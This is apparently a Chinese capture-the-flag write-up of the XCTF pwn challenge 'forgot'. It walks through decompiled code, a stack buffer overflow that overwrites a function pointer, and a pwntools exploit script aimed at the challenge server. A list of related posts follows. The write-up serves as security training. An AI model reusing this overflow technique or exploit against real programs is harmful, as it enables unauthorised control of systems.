0x0 程序保护和流程

保护:

流程:

main()

int __cdecl main()
{size_t v0; // ebxchar v2[32]; // [esp+10h] [ebp-74h]int (*v3)(); // [esp+30h] [ebp-54h]int (*v4)(); // [esp+34h] [ebp-50h]int (*v5)(); // [esp+38h] [ebp-4Ch]int (*v6)(); // [esp+3Ch] [ebp-48h]int (*v7)(); // [esp+40h] [ebp-44h]int (*v8)(); // [esp+44h] [ebp-40h]int (*v9)(); // [esp+48h] [ebp-3Ch]int (*v10)(); // [esp+4Ch] [ebp-38h]int (*v11)(); // [esp+50h] [ebp-34h]int (*v12)(); // [esp+54h] [ebp-30h]char s; // [esp+58h] [ebp-2Ch]int v14; // [esp+78h] [ebp-Ch]size_t i; // [esp+7Ch] [ebp-8h]v14 = 1;v3 = sub_8048604;v4 = sub_8048618;v5 = sub_804862C;v6 = sub_8048640;v7 = sub_8048654;v8 = sub_8048668;v9 = sub_804867C;v10 = sub_8048690;v11 = sub_80486A4;v12 = sub_80486B8;puts("What is your name?");printf("> ");fflush(stdout);fgets(&s, 32, stdin);sub_80485DD((int)&s);fflush(stdout);printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);fflush(stdout);puts("Enter the string to be validate");printf("> ");fflush(stdout);__isoc99_scanf("%s", v2);for ( i = 0; ; ++i ){v0 = i;if ( v0 >= strlen(v2) )break;switch ( v14 ){case 1:if ( sub_8048702(v2[i]) )v14 = 2;break;case 2:if ( v2[i] == 64 )v14 = 3;break;case 3:if ( sub_804874C(v2[i]) )v14 = 4;break;case 4:if ( v2[i] == 46 )v14 = 5;break;case 5:if ( sub_8048784(v2[i]) )v14 = 6;break;case 6:if ( sub_8048784(v2[i]) )v14 = 7;break;case 7:if ( sub_8048784(v2[i]) )v14 = 8;break;case 8:if ( sub_8048784(v2[i]) )v14 = 9;break;case 9:v14 = 10;break;default:continue;}}(*(&v3 + --v14))();return fflush(stdout);
}

可以发现在main函数的最后出现了**(*(&v3 + --v14))()** 这代表他会执行**&v3 + --v14** 这个地址指向的指令。加上v3可以被scanf函数覆盖。所以只需要将v14控制为1。main函数最后就会执行&v3这个地址指向的指令。如0x80486CC

0x1 利用过程

v14初始值为1,但是程序的switch语句会经过判断改变v14的值。所以我们只需要注意case 1的情况就行了。于是观察sub_8048702()

所以payload=‘A’*32+p32(0x080486CC)就可以完成输出flag。

0x2 exp

from pwn import *
sh=remote('124.126.19.106','52617')
# sh=process('./a')
payload='A'*32+p32(0x080486CC)
sh.sendlineafter('> ','whitehand')
sh.sendlineafter('> ',payload)
sh.interactive()

forgot(xctf)相关推荐

  1. forgot XCTF(你的疑问都可以在这里找到答案)

    基本操作这里就不多说啦 直接进入正题 执行文件呢 会看到是关于有限状态自动机会不会被吓到呢(纳尼!?) 哈哈 其实是吓唬我们的 下面是主程序的关键部分 已知 char v2[32] 那strlen(v ...

  2. xctf 攻防世界-forgot writeup

    根据ida反汇编的结果可以发现有两处溢出点,第一处溢出点没什么作用,只能观察第二处溢出点 可以观察到箭头处是个函数指针,&v3 是v3在栈上的地址,&v3 + --v14 是根据&am ...

  3. [攻防世界 pwn]——forgot

    [攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...

  4. XCTF联赛“出海计划”开启,八月新加坡站国际赛蓄势待发

    作为目前全国最高技术水平和最具影响力的网络安全技术对抗赛事,8月24日-25日,XCTF联赛将联合亚洲地区历史最悠久.影响面最广的安全大会HITBSecConf,在新加坡举办HITB GSEC CTF ...

  5. 【偶尔一道ctf】xctf adword mobile easy-apk

    最近在学习ctf,偶尔会做一些ctf题,打算记录下做题的步骤和思路,打算学习ctf的小白可以跟着一起动手学习.本题是安卓题目. 题目apk下载地址 https://adworld.xctf.org.c ...

  6. XCTF WEB simple_php

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5072 题解: 掌握php弱类型比较 ...

  7. XCTF WEB simple_js

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5067 题解: F12查看网页源代码 ...

  8. XCTF WEB command_execution

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5071 题解: windows或li ...

  9. XCTF WEB webshell

    https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070 版本一 题解:修改HTML代 ...

最新文章

  1. 浅析java内存管理机制
  2. 2013\National _C_C++_A\1.填算式
  3. Java Thread pool的学习笔记
  4. windows中文字体_如何让 Windows 变「好看」?
  5. 从sqlserver中数据写入mysql_从SQL server数据库导入Mysql数据库的体验
  6. 微软XAML Studio - WPF, UWP, Xamarin等技术开发者的福音
  7. rowdata java_Java RowDataUtil.addRowData方法代碼示例
  8. FABRIC单机开发者模式启动
  9. android 捕捉home键
  10. 7-32 中位数 (10 分)
  11. 【18】Python半成品购物车
  12. centos6.5解决方案-1
  13. 第一阶段 PHP基础.函数
  14. RIP简易配置第二篇
  15. InfoGAN 生成时序序列
  16. c语言误差椭圆,平差计算
  17. List<String> 查找重复记录
  18. UVA 12307 Smallest Enclosing Rectangle
  19. yum search htppd 的意思
  20. 前端实现图片快速反转替换_在canvas上实现元素图片镜像翻转动画效果的方法

热门文章

  1. 芯片制造中的软力量(下)
  2. 博通Broadcom SDK源码学习与开发8——内存与参数管理
  3. 【大数据】五、链接分析(PageRank、Topic-sensetive PageRank)
  4. r语言归一化_生物信息学之RMA(Robust Multi-Array Average)算法的归一化和最终计算过程...
  5. 网页html5播放器,一个强大的开源HTML5视频播放器,字节出品
  6. 安全设备默认地址账密总结
  7. 智慧社区如何设计 智慧社区解决方案
  8. js验证银行卡号,并自动识别银行信息。js验证手机码。js验证数字
  9. html5立体,Html5--立体文字
  10. python编程圆面积_python如何求圆的面积